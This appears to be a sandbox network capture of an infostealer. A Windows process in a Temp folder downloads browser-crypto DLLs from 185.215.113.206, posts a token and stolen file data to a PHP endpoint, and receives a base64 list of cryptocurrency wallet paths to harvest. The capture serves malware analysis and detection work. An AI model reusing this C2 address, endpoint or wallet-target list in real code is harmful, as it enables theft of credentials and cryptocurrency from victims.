Nov 5, 2024 10:13:49.900969982 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Nov 5, 2024 10:13:49.900980949 CET	448	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Nov 5, 2024 10:13:49.901052952 CET	1236	IN	Data Raw: 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 Data Ascii: >fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}
Nov 5, 2024 10:13:49.901070118 CET	1236	IN	Data Raw: f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f 70 c9 e8 66 0f 62 f1 66 0f eb f2 66 0f 6f d0 66 0f fe 15 f0 20 08 10 83 c8 08 66 0f 6e 0c 07 66 0f 60 cb 66 0f 61 cb 66 0f 72 f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 Data Ascii: fpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxE
Nov 5, 2024 10:13:49.901079893 CET	224	IN	Data Raw: 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6 14 08 00 d3 0f b6 f3 8b 45 f0 0f b6 04 30 8b 7d f0 88 04 0f 8b 4d f0 88 14 31 00 d0 0f b6 c0 8b 4d f0 0f b6 0c 01 c1 e1 08 03 4d cc 8b 45 e8 8b 55 ec 01 d0 83 c0 03 0f b6 c0 8b 55 f0 0f b6 14 Data Ascii: EMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU3UMEM}}Eu
Nov 5, 2024 10:13:53.122679949 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 10:13:53.405164957 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 5, 2024 10:13:55.237098932 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 10:13:55.519002914 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 5, 2024 10:13:56.323307037 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 10:13:56.609354973 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 5, 2024 10:13:58.515857935 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 10:13:58.797764063 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50072	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:13:59.196770906 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 5, 2024 10:14:00.094327927 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 5, 2024 10:14:00.094338894 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 27 00 00 02 e0 27 00 00 02 60 2d 00 00 02 e0 32 00 00 02 40 34 00 00 02 70 35 00 00 02 b0 36 00 00 02 28 39 00 00 01 f8 39 00 Data Ascii: 0''`-2@4p56(99;0;;<`==
Nov 5, 2024 10:14:00.094419003 CET	1236	IN	Data Raw: 00 02 20 3e 00 00 02 30 3e 00 00 00 51 3e 00 00 00 96 3e 00 00 00 70 3f 00 00 00 d0 3f 00 00 01 f0 3f 00 00 02 c0 40 00 00 02 70 41 00 00 02 80 44 00 00 01 e0 45 00 00 02 90 4a 00 00 02 40 5a 00 00 00 f0 5a 00 00 02 20 5b 00 00 02 30 5b 00 00 02 Data Ascii: >0>Q>>p???@pADEJ@ZZ [0[`[[\\ \0\@\peeefPj`jpjjjj l0llmn0nPrrs`tttuuPu
Nov 5, 2024 10:14:00.094429016 CET	1236	IN	Data Raw: 17 00 10 38 17 00 10 3c 17 00 10 40 17 00 10 44 17 00 10 48 17 00 10 4c 17 00 10 50 17 00 10 54 17 00 10 60 17 00 10 6c 17 00 10 74 17 00 10 80 17 00 10 98 17 00 10 a4 17 00 10 b8 17 00 10 d8 17 00 10 f8 17 00 10 18 18 00 10 38 18 00 10 58 18 00 Data Ascii: 8<@DHLPT`lt8X\| 04<Lpx Ht0L\p__based(__cdecl__pascal
Nov 5, 2024 10:14:00.094441891 CET	1236	IN	Data Raw: 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f Data Ascii: tor'`managed vector destructor iterator'`eh vector copy constructor iterator'`eh vector vbase copy constructor iterator'`dynamic initializer for '`dynamic atexit destructor for '`vector copy constructor iterator'`vector vbas
Nov 5, 2024 10:14:00.094453096 CET	1236	IN	Data Raw: 38 00 00 5f 5f 69 6e 74 31 36 00 5f 5f 69 6e 74 33 32 00 5f 5f 69 6e 74 36 34 00 5f 5f 69 6e 74 31 32 38 00 00 00 00 3c 75 6e 6b 6e 6f 77 6e 3e 00 00 00 63 68 61 72 31 36 5f 74 00 00 00 00 63 68 61 72 33 32 5f 74 00 00 00 00 77 63 68 61 72 5f 74 Data Ascii: 8__int16__int32__int64__int128<unknown>char16_tchar32_twchar_t__w64 UNKNOWNsigned const volatile`unknown ecsu'union struct class coclass cointerface enum volatile const & && cli::array<
Nov 5, 2024 10:14:00.094470978 CET	848	IN	Data Raw: 00 00 00 68 23 00 10 00 00 00 00 00 00 00 00 00 00 00 00 20 f1 00 10 b4 23 00 10 00 00 00 00 00 00 00 00 02 00 00 00 c4 23 00 10 d0 23 00 10 ec 22 00 10 00 00 00 00 20 f1 00 10 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 b4 23 00 Data Ascii: h# ###" @#<$$$"<@$\L$\$h$"\@L$
Nov 5, 2024 10:14:00.094481945 CET	1236	IN	Data Raw: 45 0c 83 c0 0c 89 45 fc 8b 45 08 55 ff 75 10 8b 4d 10 8b 6d fc e8 3d 18 00 00 56 57 ff d0 5f 5e 8b dd 5d 8b 4d 10 55 8b eb 81 f9 00 01 00 00 75 05 b9 02 00 00 00 51 e8 1b 18 00 00 5d 59 5b c9 c2 0c 00 cc cc cc cc 8b 44 24 0c 53 85 c0 74 52 8b 54 Data Ascii: EEEUuMm=VW_^]MUuQ]Y[D$StRT$3\$t2trt2urW_t2t@u[r3~3tJ2t#2t2t2t_B[B_[B_[B_[
Nov 5, 2024 10:14:00.094558954 CET	212	IN	Data Raw: 70 81 e9 80 00 00 00 f7 c1 80 ff ff ff 75 90 83 f9 20 72 23 83 ee 20 83 ef 20 f3 0f 6f 06 f3 0f 6f 4e 10 f3 0f 7f 07 f3 0f 7f 4f 10 83 e9 20 f7 c1 e0 ff ff ff 75 dd f7 c1 fc ff ff ff 74 15 83 ef 04 83 ee 04 8b 06 89 07 83 e9 04 f7 c1 fc ff ff ff Data Ascii: pu r# ooNO ututuD$^_tf$fofoNfoV fo^0ffOfW f_0fof@fonPfov`fo~pfg@f
Nov 5, 2024 10:14:00.094568014 CET	1236	IN	Data Raw: 7f 6f 50 66 0f 7f 77 60 66 0f 7f 7f 70 8d b6 80 00 00 00 8d bf 80 00 00 00 4a 75 a3 85 c9 74 5f 8b d1 c1 ea 05 85 d2 74 21 8d 9b 00 00 00 00 f3 0f 6f 06 f3 0f 6f 4e 10 f3 0f 7f 07 f3 0f 7f 4f 10 8d 76 20 8d 7f 20 4a 75 e5 83 e1 1f 74 30 8b c1 c1 Data Ascii: oPfw`fpJut_t!ooNOv Jut0tutFGIu$ID$^_$++QtFGIutvHuYWVt$L$\|$;v;
Nov 5, 2024 10:14:00.099344969 CET	1236	IN	Data Raw: 0f 7f 4f 10 83 e9 20 f7 c1 e0 ff ff ff 75 dd f7 c1 fc ff ff ff 74 15 83 ef 04 83 ee 04 8b 06 89 07 83 e9 04 f7 c1 fc ff ff ff 75 eb 85 c9 74 0f 83 ef 01 83 ee 01 8a 06 88 07 83 e9 01 75 f1 8b 44 24 0c 5e 5f c3 eb 03 cc cc cc 8b c6 83 e0 0f 85 c0 Data Ascii: O ututuD$^_tf$fofoNfoV fo^0ffOfW f_0fof@fonPfov`fo~pfg@foPfw`fpJut_t!ooNOv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50093	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:14:01.333813906 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 10:14:01.333813906 CET	1067	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 Data Ascii: ------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNb
Nov 5, 2024 10:14:02.749027967 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:14:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50106	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 10:14:03.350449085 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="message"wallets------IIDAAFBGDBKJJJKFIIIJ--
Nov 5, 2024 10:14:04.267973900 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:14:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF
Nov 5, 2024 10:14:04.267983913 CET	1236	IN	Data Raw: 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 Data Ascii: 8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsIFN0b3JhZ2VcfGZpbGVfXzAubG9jYWxzdG9yYWdlfDB8SmF4eCBEZXNrdG9wfDF8XGNvbS5saWJlcnR5LmpheHhcSW5kZXhlZERCXGZpbGVfXzAuaW5kZXhlZGRiLmxldmVsZGJcfCouKnwwfEF0b21pY3wxfF
Nov 5, 2024 10:14:04.267999887 CET	165	IN	Data Raw: 6c 5a 45 52 43 58 47 68 30 64 48 42 7a 58 32 64 31 59 58 4a 6b 59 53 35 6a 62 31 38 77 4c 6d 6c 75 5a 47 56 34 5a 57 52 6b 59 69 35 73 5a 58 5a 6c 62 47 52 69 58 48 77 71 4c 69 70 38 4d 48 78 48 64 57 46 79 5a 47 45 67 52 47 56 7a 61 33 52 76 63 Data Ascii: lZERCXGh0dHBzX2d1YXJkYS5jb18wLmluZGV4ZWRkYi5sZXZlbGRiXHwqLip8MHxHdWFyZGEgRGVza3RvcFxMb2NhbCBTdG9yYWdlXGxldmVsZGJ8MXxcR3VhcmRhXExvY2FsIFN0b3JhZ2VcbGV2ZWxkYlx8Ki4qfDB8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50112	185.215.113.206	80	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
